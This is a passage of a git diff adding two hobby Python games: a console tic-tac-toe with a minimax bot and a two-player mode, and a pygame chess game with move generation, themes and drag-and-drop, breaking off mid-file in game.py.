+Oh and, you could also switch modes after the game has ended
+ +# Input for the program: +* This part is a lil tricky but hey!, I have got some examples
+* You have to use co-ordinate system for a 3 X 3 matrix

+* For a matrix like this(which will also be our game board..),
+ *---------
+ | _ _ _ |
+ | _ _ _ |
+ | _ _ _ |
+ ---------* +
+ +* If you want to take the top-right corner: + * You have to enter: "1 *space* 3" + * The input implies: *1st row's 3rd box* +
+ +* If you want to take the middle box: + * Enter: "2 *space* 2" + * The input implies: *2nd row's 2nd box* + +# Some things: +* Feel free to give any invalid inputs (*I might have covered them all ;) *) +* If you could make the program run unexpectedly, be sure to let me know in the comments. *Why? Well, we are all learners, aren't we?* +* Feel free to suggest any ideas to improve it as well.. <3 +* Last but not least, this program doesn't need any requirements. Just be sure to have them all in a single folder. + + diff --git a/GAMES/Tic-Tac-Bot-Player/bot.py b/GAMES/Tic-Tac-Bot-Player/bot.py new file mode 100644 index 00000000..f967cdd6 --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/bot.py @@ -0,0 +1,40 @@ +from packages import module_for_bot +from packages import common_module +from packages import config + + +def script_with_bot(): + """Main block of code which runs when bot-mode gameplay is selected""" + + # Default matrix + config.the_matrix = [["_", "_", "_"], ["_", "_", "_"], ["_", "_", "_"]] + + # Default empty_cells + config.empty_cells = 9 + + # Printing the game box + common_module.printer(config.the_matrix) + + while config.empty_cells: + + # To check if the user has entered valid co-ordinates of matrix + is_success = common_module.board_modifier(config.the_matrix) + while is_success == -1: + print("Try another co-ordinates: ") + is_success = common_module.board_modifier(config.the_matrix) + + common_module.printer(config.the_matrix) + + # 'state' will be 'None' if the game is not finished yet + state = module_for_bot.bot_turn(config.the_matrix) + + # Exiting the 'while' loop if a valid end-game state has been achieved + if state is not None: + break + + if state == 1: + print('The bot has won the game...\n') + elif state == -1: + print('The player has won the game!\n') + else: + print('The game is a draw!\n') \ No newline at end of file diff --git a/GAMES/Tic-Tac-Bot-Player/main.py b/GAMES/Tic-Tac-Bot-Player/main.py new file mode 100644 index 00000000..3da59525 --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/main.py @@ -0,0 +1,42 @@ +import with_person +import bot + + +def choice_checker(choice): + """This checks if the user has entered a valid choice""" + + global choices + while choice not in choices: + print("Enter a valid choice!") + print("""Choose the mode of game. + '1' to play with a friend, + '2' to play with a bot (P.S: You might not win) + '3' to quit this\n""") + choice = input() + return choice + + +# Giving the user a choice to select the mode of the game they want to play +choices = ['1', '2', '3'] +print("""Choose the mode of game. +'1' to play with a friend, +'2' to play with a bot (P.S: You might not win) +'3' to quit this\n""") +choice = input() +choice = choice_checker(choice) + +while True: + if choice == choices[0]: + with_person.script_with_person() + elif choice == choices[1]: + bot.script_with_bot() + else: + break + + print("Would you like to try again..?") + print("""Choose the mode of game. + '1' to play with a friend, + '2' to play with a bot (P.S: You might not win) + '3' to quit this\n""") + choice = input() + choice = choice_checker(choice) diff --git a/GAMES/Tic-Tac-Bot-Player/packages/common_module.py b/GAMES/Tic-Tac-Bot-Player/packages/common_module.py new file mode 100644 index 00000000..60b46fc0 --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/packages/common_module.py @@ -0,0 +1,134 @@ +from os import system +from time import sleep +from packages import config + + +def printer(the_matrix): + """Prints the game board""" + + print() + print('-' * 9) + for i in range(3): + print('|', end=' ') + for j in range(3): + if the_matrix[i][j] == '_' or the_matrix[i][j] == ' ': + print("_ ", end='') + else: + print(the_matrix[i][j], end=' ') + print('|') + print('-' * 9) + print() + + +def check_for_draw(): + if config.empty_cells != 0: + return False + else: + return True + + +def the_judge(): + """This function calls another function and sees if any one player has won""" + # Checking the game state + x_found = finder('X') + o_found = finder('O') + + # If either one of them is found in a row, it wins the game + if x_found: + return 'X' + elif o_found: + return 'O' + else: + return None + + +def finder(letter): + """Returns True if the win condition is achieved for a specific letter(player) in the board, else returns False""" + + # Checking by ROWS + matrix = config.the_matrix + for i in range(0, 3): + counter = 0 + for j in range(0, 3): + if matrix[i][j] == letter: + counter += 1 + + # Checking if the letter is found in a row + if counter == 3: + return True + + # Checking by COLUMNS + for i in range(0, 3): + counter = 0 + for j in range(0, 3): + if matrix[j][i] == letter: + counter += 1 + + if counter == 3: + return True + + # Checking by first diagonal by indices + counter = 0 + for i in range(0, 3): + if matrix[i][i] == letter: + counter += 1 + + if counter == 3: + return True + + # Checking by second diagonal by indices + counter = 0 + j_index = 2 + for i in range(0, 3): + if matrix[i][j_index] == letter: + counter += 1 + j_index -= 1 + + if counter == 3: + return True + + return False + + +def board_modifier(the_matrix, player=None): + """Modifies the game board as per the player's moves. + Behaves dynamically to the mode of the game(with person, or with a bot)""" + + sleep(0.5) + the_coords = input("Player's turn: ").split() if player is None else input().split() + if len(the_coords) != 2: + print('Enter two coordinate numbers!') + return -1 + x, y = the_coords + try: + for index in the_coords: + index = int(index) + except ValueError: + print('You should enter numbers!') + return -1 + else: + x = int(x) + y = int(y) + if x not in range(1, 4) or y not in range(1, 4): + print('Coordinates should be from 1 to 3!') + return -1 + else: + x, y = x-1, y-1 + if the_matrix[x][y] != '_': + print('This cell is occupied! Choose another one!') + return -1 + else: + if player is None: + from packages import module_for_bot + module_for_bot.modify_board_bot('X', [x, y], the_matrix=the_matrix) + else: + the_matrix[x][y] = player + # config.turns += 1 + # Clearing the terminal and writing the updated matrix + system('cls') + if player is None: + pass + else: + printer(the_matrix) + config.empty_cells -= 1 + return 2 diff --git a/GAMES/Tic-Tac-Bot-Player/packages/config.py b/GAMES/Tic-Tac-Bot-Player/packages/config.py new file mode 100644 index 00000000..6c51aad4 --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/packages/config.py @@ -0,0 +1,2 @@ +the_matrix = [["_", "_", "_"], ["_", "_", "_"], ["_", "_", "_"]] +empty_cells = 9 diff --git a/GAMES/Tic-Tac-Bot-Player/packages/module_for_bot.py b/GAMES/Tic-Tac-Bot-Player/packages/module_for_bot.py new file mode 100644 index 00000000..ce791198 --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/packages/module_for_bot.py @@ -0,0 +1,83 @@ +from packages import common_module, config +from time import sleep + + +def modify_board_bot(letter, position, the_matrix): + """Simultaneously updates the matrix and checks for a win or draw condition. + This function is only specific to the bot-mode of the game + """ + + the_matrix[position[0]][position[1]] = letter + + check_for_win = common_module.the_judge() + if check_for_win == 'X': + print('The player has won the game!\n') + return -1 + elif check_for_win == 'O': + # print('The bot has won the game...\n') + return 1 + elif common_module.check_for_draw(): + print('The game is a draw!\n') + return 0 + else: + return None + + +def the_algorithm(the_matrix, is_bot): + """This function is the brain of the bot""" + + if common_module.finder('O'): + return 1 + elif common_module.finder('X'): + return -1 + elif common_module.check_for_draw(): + return 0 + + if is_bot: + best_score = -1000 + for row in range(3): + for column in range(3): + if the_matrix[row][column] == '_': + the_matrix[row][column] = 'O' + score = the_algorithm(the_matrix, False) + the_matrix[row][column] = '_' + + if score > best_score: + best_score = score + return best_score + else: + best_score = 1000 + for row in range(3): + for column in range(3): + if the_matrix[row][column] == '_': + the_matrix[row][column] = 'X' + score = the_algorithm(the_matrix, True) + the_matrix[row][column] = '_' + if score < best_score: + best_score = score + return best_score + + +def bot_turn(the_matrix): + """Decides which move the bot has to do.""" + + print('The bot\'s turn: ') + sleep(0.3) + print('The bot is thinking..') + sleep(0.8) + best_score = -1000 + best_move = [-1, -1] + + for row in range(3): + for column in range(3): + if the_matrix[row][column] == '_': + the_matrix[row][column] = 'O' + current_score = the_algorithm(the_matrix, False) + the_matrix[row][column] = '_' + if current_score > best_score: + best_score = current_score + best_move = row, column + config.empty_cells -= 1 + value = modify_board_bot('O', best_move, the_matrix=the_matrix) + common_module.printer(the_matrix) + return value diff --git a/GAMES/Tic-Tac-Bot-Player/with_person.py b/GAMES/Tic-Tac-Bot-Player/with_person.py new file mode 100644 index 00000000..53ca9e2a --- /dev/null +++ b/GAMES/Tic-Tac-Bot-Player/with_person.py @@ -0,0 +1,45 @@ +from packages import config +from packages import common_module + + +def script_with_person(): + """Main block of code which runs when bot-mode gameplay is selected""" + + # Default matrix + config.the_matrix = [["_", "_", "_"], ["_", "_", "_"], ["_", "_", "_"]] + + # Default empty_cells + config.empty_cells = 9 + + # Printing the game box + common_module.printer(config.the_matrix) + + # Setting the players for the game to proceed by taking turns + player_1 = 'X' + player_2 = 'O' + current_player = player_1 + possibilities = ['X', 'O'] + while config.empty_cells: + print("Player 1's turn: ") if current_player == 'X' else print("Player 2's turn: ") + + # Making sure player enters correct co-ordinates + is_success = common_module.board_modifier(config.the_matrix, current_player) + while is_success == -1: + print("Try another co-ordinates: ") + is_success = common_module.board_modifier(config.the_matrix, current_player) + + # Switching the player turn + current_player = player_1 if current_player == player_2 else player_2 + + # Checking if there is any win condition for the current board state after the player's move + judgement = common_module.the_judge() + + if judgement in possibilities: + break + elif config.empty_cells == 0: + break + + if judgement is None: + print(f'The game is a draw!') + else: + print('Player 1 wins!\n') if judgement == 'X' else print('Player 2 wins!\n') diff --git a/GAMES/chess/assets/images/imgs-128px/black_bishop.png b/GAMES/chess/assets/images/imgs-128px/black_bishop.png new file mode 100644 index 00000000..10e7fa7e Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_bishop.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/black_king.png b/GAMES/chess/assets/images/imgs-128px/black_king.png new file mode 100644 index 00000000..d72f65b8 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_king.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/black_knight.png b/GAMES/chess/assets/images/imgs-128px/black_knight.png new file mode 100644 index 00000000..723cea2d Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_knight.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/black_pawn.png b/GAMES/chess/assets/images/imgs-128px/black_pawn.png new file mode 100644 index 00000000..c0dd3279 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_pawn.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/black_queen.png b/GAMES/chess/assets/images/imgs-128px/black_queen.png new file mode 100644 index 00000000..a71db37e Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_queen.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/black_rook.png b/GAMES/chess/assets/images/imgs-128px/black_rook.png new file mode 100644 index 00000000..b394a671 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/black_rook.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_bishop.png b/GAMES/chess/assets/images/imgs-128px/white_bishop.png new file mode 100644 index 00000000..eb452425 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_bishop.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_king.png b/GAMES/chess/assets/images/imgs-128px/white_king.png new file mode 100644 index 00000000..811fa482 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_king.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_knight.png b/GAMES/chess/assets/images/imgs-128px/white_knight.png new file mode 100644 index 00000000..edd8c377 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_knight.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_pawn.png b/GAMES/chess/assets/images/imgs-128px/white_pawn.png new file mode 100644 index 00000000..56cbd8f1 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_pawn.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_queen.png b/GAMES/chess/assets/images/imgs-128px/white_queen.png new file mode 100644 index 00000000..f7b6401f Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_queen.png differ diff --git a/GAMES/chess/assets/images/imgs-128px/white_rook.png b/GAMES/chess/assets/images/imgs-128px/white_rook.png new file mode 100644 index 00000000..cfcadded Binary files /dev/null and b/GAMES/chess/assets/images/imgs-128px/white_rook.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_bishop.png b/GAMES/chess/assets/images/imgs-80px/black_bishop.png new file mode 100644 index 00000000..a44bb6f6 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_bishop.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_king.png b/GAMES/chess/assets/images/imgs-80px/black_king.png new file mode 100644 index 00000000..48e88533 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_king.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_knight.png b/GAMES/chess/assets/images/imgs-80px/black_knight.png new file mode 100644 index 00000000..06c8a592 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_knight.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_pawn.png b/GAMES/chess/assets/images/imgs-80px/black_pawn.png new file mode 100644 index 00000000..beef1073 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_pawn.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_queen.png b/GAMES/chess/assets/images/imgs-80px/black_queen.png new file mode 100644 index 00000000..77e43316 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_queen.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/black_rook.png b/GAMES/chess/assets/images/imgs-80px/black_rook.png new file mode 100644 index 00000000..a727fcdd Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/black_rook.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_bishop.png b/GAMES/chess/assets/images/imgs-80px/white_bishop.png new file mode 100644 index 00000000..16761ffc Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_bishop.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_king.png b/GAMES/chess/assets/images/imgs-80px/white_king.png new file mode 100644 index 00000000..b0e477bf Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_king.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_knight.png b/GAMES/chess/assets/images/imgs-80px/white_knight.png new file mode 100644 index 00000000..ad76e676 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_knight.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_pawn.png b/GAMES/chess/assets/images/imgs-80px/white_pawn.png new file mode 100644 index 00000000..17454255 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_pawn.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_queen.png b/GAMES/chess/assets/images/imgs-80px/white_queen.png new file mode 100644 index 00000000..10c7e311 Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_queen.png differ diff --git a/GAMES/chess/assets/images/imgs-80px/white_rook.png b/GAMES/chess/assets/images/imgs-80px/white_rook.png new file mode 100644 index 00000000..6efeaf9f Binary files /dev/null and b/GAMES/chess/assets/images/imgs-80px/white_rook.png differ diff --git a/GAMES/chess/assets/sounds/capture.wav b/GAMES/chess/assets/sounds/capture.wav new file mode 100644 index 00000000..038cce70 Binary files /dev/null and b/GAMES/chess/assets/sounds/capture.wav differ diff --git a/GAMES/chess/assets/sounds/move.wav b/GAMES/chess/assets/sounds/move.wav new file mode 100644 index 00000000..78a25ac7 Binary files /dev/null and b/GAMES/chess/assets/sounds/move.wav differ diff --git a/GAMES/chess/src/board.py b/GAMES/chess/src/board.py new file mode 100644 index 00000000..827b78f5 --- /dev/null +++ b/GAMES/chess/src/board.py @@ -0,0 +1,455 @@ +import copy +import os +from const import * +from square import Square +from piece import * +from move import Move +from sound import Sound + + +class Board: + def __init__(self): + self.squares = [[0, 0, 0, 0, 0, 0, 0, 0] for col in range(COLS)] + self.last_move = None + self._create() + self._add_pieces("white") + self._add_pieces("black") + + def move(self, piece, move, testing=False): + initial = move.initial + final = move.final + + en_passant_empty = self.squares[final.row][final.col].isempty() + + self.squares[initial.row][initial.col].piece = None + self.squares[final.row][final.col].piece = piece + + # pawn promotion + if isinstance(piece, Pawn): + # en passant capture + diff = final.col - initial.col + if diff != 0 and en_passant_empty: + self.squares[initial.row][initial.col + diff].piece = None + self.squares[final.row][final.col].piece = piece + if not testing: + sound = Sound(os.path.join("assets/sounds/capture.wav")) + sound.play() + + else: + # pawn promotion + self.check_promotion(piece, final) + + # king castling + if isinstance(piece, King): + if self.castling(initial, final) and not testing: + diff = final.col - initial.col + rook = piece.left_rook if (diff < 0) else piece.right_rook + self.move(rook, rook.moves[-1]) + + piece.moved = True + + piece.clear_moves() + + self.last_move = move + + def valid_move(self, piece, move): + return move in piece.moves + + def check_promotion(self, piece, final): + if final.row == 0 or final.row == 7: + self.squares[final.row][final.col].piece = Queen(piece.color) + + def castling(self, initial, final): + return abs(initial.col - final.col) == 2 + + def set_true_en_passant(self, piece): + if not isinstance(piece, Pawn): + return + + for row in range(ROWS): + for col in range(COLS): + if isinstance(self.squares[row][col].piece, Pawn): + self.squares[row][col].piece.en_passant = False + + piece.en_passant = True + + def in_check(self, piece, move): + temp_piece = copy.deepcopy(piece) + temp_board = copy.deepcopy(self) + temp_board.move(temp_piece, move, testing=True) + + for row in range(ROWS): + for col in range(COLS): + if temp_board.squares[row][col].has_enemy_piece(piece.color): + p = temp_board.squares[row][col].piece + temp_board.calc_moves(p, row, col, bool=False) + for m in p.moves: + if isinstance(m.final.piece, King): + return True + return False + + def calc_moves(self, piece, row, col, bool=True): + def pawn_moves(): + # 2 step move on the first move else 1 + steps = 1 if piece.moved else 2 + + # vertical moves + start = row + piece.dir + end = row + (piece.dir * (1 + steps)) + for possible_move_row in range(start, end, piece.dir): + if Square.in_range(possible_move_row): + if self.squares[possible_move_row][col].isempty(): + initial = Square(row, col) + final = Square(possible_move_row, col) + move = Move(initial, final) + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + # next square !empty + else: + break + # not in range + else: + break + + # piece capture move + possible_move_row = row + piece.dir + possible_move_cols = [col - 1, col + 1] + for possible_move_col in possible_move_cols: + if Square.in_range(possible_move_row, possible_move_col): + if self.squares[possible_move_row][ + possible_move_col + ].has_enemy_piece(piece.color): + initial = Square(row, col) + final_piece = self.squares[possible_move_row][ + possible_move_col + ].piece + final = Square( + possible_move_row, possible_move_col, final_piece + ) + move = Move(initial, final) + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + + # en passant + r = 3 if piece.color == "white" else 4 + fr = 2 if piece.color == "white" else 5 + # left en passant + if Square.in_range(col - 1) and row == r: + if self.squares[row][col - 1].has_enemy_piece(piece.color): + p = self.squares[row][col - 1].piece + if isinstance(p, Pawn): + if p.en_passant: + initial = Square(row, col) + final = Square(fr, col - 1, p) + move = Move(initial, final) + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + # right en passant + if Square.in_range(col + 1) and row == r: + if self.squares[row][col + 1].has_enemy_piece(piece.color): + p = self.squares[row][col + 1].piece + if isinstance(p, Pawn): + if p.en_passant: + initial = Square(row, col) + final = Square(fr, col + 1, p) + move = Move(initial, final) + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + + def knight_moves(): + # 8 possible moves + possible_moves = [ + (row - 2, col + 1), + (row - 1, col + 2), + (row + 1, col + 2), + (row + 2, col + 1), + (row + 2, col - 1), + (row + 1, col - 2), + (row - 1, col - 2), + (row - 2, col - 1), + ] + + for possible_move in possible_moves: + possible_move_row, possible_move_col = possible_move + + if Square.in_range(possible_move_row, possible_move_col): + if self.squares[possible_move_row][ + possible_move_col + ].isempty_or_enemy(piece.color): + # create squares of the new move + initial = Square(row, col) + final_piece = self.squares[possible_move_row][ + possible_move_col + ].piece + final = Square( + possible_move_row, possible_move_col, final_piece + ) + # create new move + move = Move(initial, final) + + # check potencial checks + if bool: + if not self.in_check(piece, move): + # append new move + piece.add_move(move) + else: + break + else: + # append new move + piece.add_move(move) + + def straightline_moves(incrs): + for incr in incrs: + row_incr, col_incr = incr + possible_move_row = row + row_incr + possible_move_col = col + col_incr + + while True: + if Square.in_range(possible_move_row, possible_move_col): + initial = Square(row, col) + final_piece = self.squares[possible_move_row][ + possible_move_col + ].piece + final = Square( + possible_move_row, possible_move_col, final_piece + ) + # create possible new move + move = Move(initial, final) + + # empty square + if self.squares[possible_move_row][possible_move_col].isempty(): + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + + # rival piece on square + elif self.squares[possible_move_row][ + possible_move_col + ].has_enemy_piece(piece.color): + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + piece.add_move(move) + break + + # team piece on square + elif self.squares[possible_move_row][ + possible_move_col + ].has_team_piece(piece.color): + break + + else: + break + + possible_move_row, possible_move_col = ( + possible_move_row + row_incr, + possible_move_col + col_incr, + ) + + def king_moves(): + adjs = [ + (row - 1, col + 0), # up + (row - 1, col + 1), # up-right + (row + 0, col + 1), # right + (row + 1, col + 1), # down-right + (row + 1, col + 0), # down + (row + 1, col - 1), # down-left + (row + 0, col - 1), # left + (row - 1, col - 1), # up + ] + + for possible_move in adjs: + possible_move_row, possible_move_col = possible_move + + # check whether the move is in range(on board == square 0 to 7) + if Square.in_range(possible_move_row, possible_move_col): + # check whether square is empty or it has opponent piece + if self.squares[possible_move_row][ + possible_move_col + ].isempty_or_enemy(piece.color): + # if the condition satisfy then it is a valid move + # create squares of new move + initial = Square(row, col) + final = Square(possible_move_row, possible_move_col) + # create new move + move = Move(initial, final) + # checking potential checks + if bool: + if not self.in_check(piece, move): + piece.add_move(move) + else: + break + else: + piece.add_move(move) + + # castling moves + if not piece.moved: + # queen side castle + left_rook = self.squares[row][0].piece + if isinstance(left_rook, Rook): + if not left_rook.moved: + for c in range(1, 4): + if self.squares[row][c].has_piece(): + break + if c == 3: + piece.left_rook = left_rook + + # rook move + initial = Square(row, 0) + final = Square(row, 3) + moveR = Move(initial, final) + + # king move + initial = Square(row, col) + final = Square(row, 2) + moveK = Move(initial, final) + + # checking potential checks + if bool: + if not self.in_check( + piece, moveK + ) and not self.in_check(left_rook, moveR): + # append new move to rook + left_rook.add_move(moveR) + # append new move to king + piece.add_move(moveK) + else: + # append new move rook + left_rook.add_move(moveR) + # append new move king + piece.add_move(moveK) + + # king side castle + right_rook = self.squares[row][7].piece + if isinstance(right_rook, Rook): + if not right_rook.moved: + for c in range(5, 7): + if self.squares[row][c].has_piece(): + break + if c == 6: + piece.right_rook = right_rook + + # rook move + initial = Square(row, 7) + final = Square(row, 5) + moveR = Move(initial, final) + + # king move + initial = Square(row, col) + final = Square(row, 6) + moveK = Move(initial, final) + + # checking potential checks + if bool: + if not self.in_check( + piece, moveK + ) and not self.in_check(right_rook, moveR): + # append new move to rook + right_rook.add_move(moveR) + # append new move to king + piece.add_move(moveK) + else: + # append new move rook + right_rook.add_move(moveR) + # append new move king + piece.add_move(moveK) + + if isinstance(piece, Pawn): + pawn_moves() + + elif isinstance(piece, Knight): + knight_moves() + + elif isinstance(piece, Bishop): + straightline_moves( + [ + (-1, 1), # right-up + (1, -1), # left-down + (-1, -1), # left-up + (1, 1), # right-down + ] + ) + + elif isinstance(piece, Rook): + straightline_moves( + [ + (-1, 0), # up + (0, 1), # right + (1, 0), # down + (0, -1), # left + ] + ) + + elif isinstance(piece, Queen): + straightline_moves( + [ + (-1, 1), # right-up + (1, -1), # left-down + (-1, -1), # left-up + (1, 1), # right-down + (-1, 0), # up + (1, 0), # down + (0, 1), # left + (0, -1), # right + ] + ) + + elif isinstance(piece, King): + king_moves() + + def _create(self): + for row in range(ROWS): + for col in range(COLS): + self.squares[row][col] = Square(row, col) + + def _add_pieces(self, color): + row_pawn, row_other = (6, 7) if color == "white" else (1, 0) + + # pawns + for col in range(COLS): + self.squares[row_pawn][col] = Square(row_pawn, col, Pawn(color)) + # self.squares[5][1] = Square(5, 1, Pawn(color)) + + # knights + self.squares[row_other][1] = Square(row_other, 1, Knight(color)) + self.squares[row_other][6] = Square(row_other, 6, Knight(color)) + # self.squares[4][4] = Square(row_other, 6, Knight(color)) + + # bishops + self.squares[row_other][2] = Square(row_other, 2, Bishop(color)) + self.squares[row_other][5] = Square(row_other, 5, Bishop(color)) + # self.squares[3][3] = Square(3, 3, Bishop(color)) + # self.squares[3][7] = Square(3, 7, Bishop(color)) + + # rooks + self.squares[row_other][0] = Square(row_other, 0, Rook(color)) + self.squares[row_other][7] = Square(row_other, 7, Rook(color)) + + # queens + self.squares[row_other][3] = Square(row_other, 3, Queen(color)) + # self.squares[4][4] = Square(4, 4, Queen(color)) + + # king + self.squares[row_other][4] = Square(row_other, 4, King(color)) + # self.squares[4][4] = Square(4, 4, King("white")) diff --git a/GAMES/chess/src/color.py b/GAMES/chess/src/color.py new file mode 100644 index 00000000..711dd51d --- /dev/null +++ b/GAMES/chess/src/color.py @@ -0,0 +1,4 @@ +class Color: + def __init__(self, light, dark): + self.light = light + self.dark = dark diff --git a/GAMES/chess/src/config.py b/GAMES/chess/src/config.py new file mode 100644 index 00000000..a90cf16a --- /dev/null +++ b/GAMES/chess/src/config.py @@ -0,0 +1,60 @@ +import pygame +import os + +from sound import Sound +from theme import Theme + + +class Config: + def __init__(self): + # themes code + self.themes = [] + self._add_themes() + self.idx = 0 + self.theme = self.themes[self.idx] + # font + self.font = pygame.font.SysFont("monospace", 18, bold=True) + # sound file path + self.move_sound = Sound(os.path.join("assets/sounds/move.wav")) + self.capture_sound = Sound(os.path.join("assets/sounds/capture.wav")) + + def change_theme(self): + self.idx += 1 + self.idx %= len(self.themes) + self.theme = self.themes[self.idx] + + def _add_themes(self): + green = Theme( + (234, 235, 200), + (119, 154, 88), + (244, 247, 116), + (172, 195, 51), + "#C86464", + "#C84646", + ) + brown = Theme( + (235, 209, 166), + (165, 117, 80), + (245, 234, 100), + (209, 185, 59), + "#C86464", + "#C84646", + ) + blue = Theme( + (229, 228, 200), + (60, 95, 135), + (124, 187, 227), + (43, 119, 191), + "#C86464", + "#C84646", + ) + gray = Theme( + (128, 119, 118), + (86, 85, 84), + (99, 126, 143), + (82, 102, 128), + "#C86464", + "#C84646", + ) + + self.themes = [green, brown, blue, gray] diff --git a/GAMES/chess/src/const.py b/GAMES/chess/src/const.py new file mode 100644 index 00000000..42fce2a7 --- /dev/null +++ b/GAMES/chess/src/const.py @@ -0,0 +1,8 @@ +# Screen dimensions +WIDTH = 700 +HEIGHT = 700 + +# Board dimensions +ROWS = 8 +COLS = 8 +SQSIZE = WIDTH // COLS diff --git a/GAMES/chess/src/dragger.py b/GAMES/chess/src/dragger.py new file mode 100644 index 00000000..cd25466b --- /dev/null +++ b/GAMES/chess/src/dragger.py @@ -0,0 +1,46 @@ +import pygame + +from const import * + + +class Dragger: + def __init__(self): + self.piece = None + self.dragging = False + self.mouseX = 0 + self.mouseY = 0 + self.initial_row = 0 + self.initial_col = 0 + + # blit method + + def update_blit(self, surface): + # texture + self.piece.set_texture(size=80) + texture = self.piece.texture + # image + img = pygame.image.load(texture) + + # drag coordinates + img_center = (self.mouseX, self.mouseY) + self.piece.texture_rect = img.get_rect(center=img_center) + + # update blit + surface.blit(img, self.piece.texture_rect) + + # other dragging methods + + def update_mouse(self, pos): + self.mouseX, self.mouseY = pos + + def save_initial(self, pos): + self.initial_row = pos[1] // SQSIZE + self.initial_col = pos[0] // SQSIZE + + def drag_piece(self, piece): + self.piece = piece + self.dragging = True + + def undrag_piece(self): + self.piece = None + self.dragging = False diff --git a/GAMES/chess/src/game.py b/GAMES/chess/src/game.py new file mode 100644 index 00000000..52da5053 --- /dev/null +++ b/GAMES/chess/src/game.py @@ -0,0 +1,150 @@ +import pygame + +from const import * +from board import Board +from dragger import Dragger +from config import Config +from square import Square + + +class Game: + def __init__(self): + self.next_player = "white" + self.hovered_sqr = None + self.board = Board() + self.dragger = Dragger() + self.config = Config() + + # background display + def show_bg(self, surface): + theme = self.config.theme + + for row in range(ROWS): + for col in range(COLS): + # color + color = theme.bg.light if (row + col) % 2 == 0 else theme.bg.dark + # rect + rect = (col * SQSIZE, row * SQSIZE, SQSIZE, SQSIZE) + # blit + pygame.draw.rect(surface, color, rect) + + # row coordinates + if col == 0: + # color + color = theme.bg.dark if row % 2 == 0 else theme.bg.light + # label + lbl = self.config.font.render(str(ROWS - row), 1, color) + lbl_pos = (5, 5 + row * SQSIZE) + # blit + surface.blit(lbl, lbl_pos) + + # col coordinates + if row == 7: + # color + color = theme.bg.dark if (row + col) % 2 == 0 else theme.bg.light + # label + lbl = self.config.font.render(Square.get_alphacol(col), 1, color) + lbl_pos = (col * SQSIZE + SQSIZE - 20, HEIGHT - 20) + # blit + surface.blit(lbl, lbl_pos) + + def show_pieces(self, surface): + for row in range(ROWS): + for col in range(COLS): + if self.board.squares[row][col].has_piece(): + piece = self.board.squares[row][col].piece + if piece is not self.dragger.piece: + piece.set_texture(size=80) + img = pygame.image.load(piece.texture) + img_center = ( + col * SQSIZE + SQSIZE // 2, + row * SQSIZE + SQSIZE // 2, + ) + piece.texture_rect = img.get_rect(center=img_center) + surface.blit(img, piece.texture_rect) + + def show_moves(self, surface): + theme = self.config.theme + if self.dragger.dragging: + piece = self.dragger.piece + + # loop all valid moves + for move in piece.moves: + # color + color = ( + theme.moves.light + if (move.final.row + move.final.col) % 2 == 0 + else theme.moves.dark + ) + # rect + rect = ( + move.final.col * SQSIZE, + move.final.row * SQSIZE, + SQSIZE, + SQSIZE, + ) + # blit + pygame.draw.rect(surface, color, rect) + + # circle + # center_x = move.final.col * SQSIZE + SQSIZE // 2 + # center_y = move.final.row * SQSIZE + SQSIZE // 2 + # radius = SQSIZE // 6 + # blit + # pygame.draw.circle(surface, color, (center_x, center_y), radius) + + def show_last_move(self, surface): + theme = self.config.theme + + if self.board.last_move: + initial = self.board.last_move.initial + final = self.board.last_move.final + + for pos in [initial, final]: + # color + color = ( + theme.trace.light + if 